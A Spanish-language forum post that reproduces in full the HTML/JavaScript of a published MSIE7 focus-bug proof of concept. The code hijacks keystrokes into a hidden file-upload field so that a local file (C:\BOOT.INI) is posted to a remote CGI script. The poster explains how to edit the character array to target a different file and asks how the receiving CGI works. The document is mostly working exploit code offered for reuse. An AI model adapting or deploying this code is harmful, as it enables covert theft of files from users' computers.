aca esta el codigo de fuente del explot en html y por supuesto con codigo javascript
lo estraje de la web:
http://lcamtuf.coredump.cx/focusbug/ieversion.htmlpara cambiar el archivo q kieren enviar ...debe cambiar esta linea:
"var needed = [ 'i', 'n', 'i', '.', 't', 'o', 'o', 'b', '\\' ];"
como podran notar si leen las varibales al reves veran q se forma la caadena "boot.ini"
el problema me surge aca:<form action="
http://lcamtuf.coredump.cx/focusbug/showpay.cgi"<html>
<head>
<title>MSIE7 focus bug (
lcamtuf@coredump.cx)</title>
</head>
<body style="overflow: hidden" onload="init()">
<script>
var curat = 0;
var needed = [ 'i', 'n', 'i', '.', 't', 'o', 'o', 'b', '\\' ];
var entered = '';
function divert_focus() {
var cc = window.event.keyCode;
var key = String.fromCharCode(cc);
if (key.toLowerCase() != needed[curat]) {
document.getElementById("foo3").focus();
setTimeout('restore_focus()',10);
} else {
document.getElementById("foo2").focus();
setTimeout('append_char()',10);
}
return 0;
}
function restore_focus() {
document.getElementById("foo2").focus();
entered = entered + document.getElementById("foo3").value.charAt(0);
document.getElementById("foo1").value = entered;
}
function append_char() {
entered = entered + document.getElementById("foo2").value.charAt(0);
document.getElementById("foo1").value = entered;
if (++curat == 9 ) document.getElementById("foo4").click();
}
function init() {
document.getElementById("foo2").focus();
setTimeout('spoof_cursor()',300);
setTimeout('defocus()',500);
}
var show_cur = 0;
function spoof_cursor() {
document.getElementById("foo1").value = entered + (show_cur ? '|' : '');
show_cur = !show_cur;
setTimeout('spoof_cursor()',300);
}
function defocus() {
document.getElementById("foo2").focus();
setTimeout('defocus()',500);
document.getElementById('pdiv').innerHTML = document.getElementById('foo2').value;
}
</script>
<form action="
http://lcamtuf.coredump.cx/focusbug/showpay.cgi" method=post enctype="multipart/form-data" style="position: absolute; left: -500px; width: 2000px; height: 100%">
<div style="position: absolute; left: 510px; top: 0px">
<font face="arial" size="-1">
<font size="+1" color="purple"><b>MSIE7 focus bug demonstration (for Windows)</b></font>
<hr size="1">
<li> <font color="teal"><i>This demonstrates a newly discovered vulnerability in MSIE7, by <a href="mailto:lcamtuf@coredump.cx">Michal Zalewski</a></i></font>
<li> For Firefox version of this attack, <a href="ffversion.html">click here</a>.
<li> For a clarification on BUGTRAQ / Full-Disclosure mess, <a href="description.txt">see this summary</a>.
<p>
<b>Compose your message here:</b><br>
<textarea type=text id="foo1" style="font-family: arial" cols="70" rows="10" name=foo1></textarea>
<p>
<font color="black">Manually type the following text: "<b>I will never find a date. Thanks to computers and books :\</b>"
<br>
This should take you to a page showing a copy of your C:\BOOT.INI file.</font>
<P>
<font color="teal"><i>Naturally, this is just a naive example. The same code could be used
to divert keystrokes from web-based<br>games, weblog entry / comment forms, on-line chats,
captchas, etc. As such, this is be somewhat scary.</i></font>
<p>
<font color="gray">Preview of diverted keystrokes (demo only):
<font color="red"><b><div id='pdiv' style="border: 1px; border-style: solid; border-color: gray; width: 200px; text-align: center"> </div></b></font></font>
</font>
</div>
<input id=foo2 style="position: absolute; left: 0px; top: 0px" type=file name=foo2 onkeypress="divert_focus()">
<input id=foo3 style="position: absolute; left: 0px; top: 100px" type=text>
<input type=submit id=foo4>
</form>
</body>
</html>
DESDE YA GRACIAS:::SI ALGUIEN PUEDE EXPLICAR QUE CALSE DE CGI ES ESE Y COMO FUNCIONA:::
Autor
En línea
...
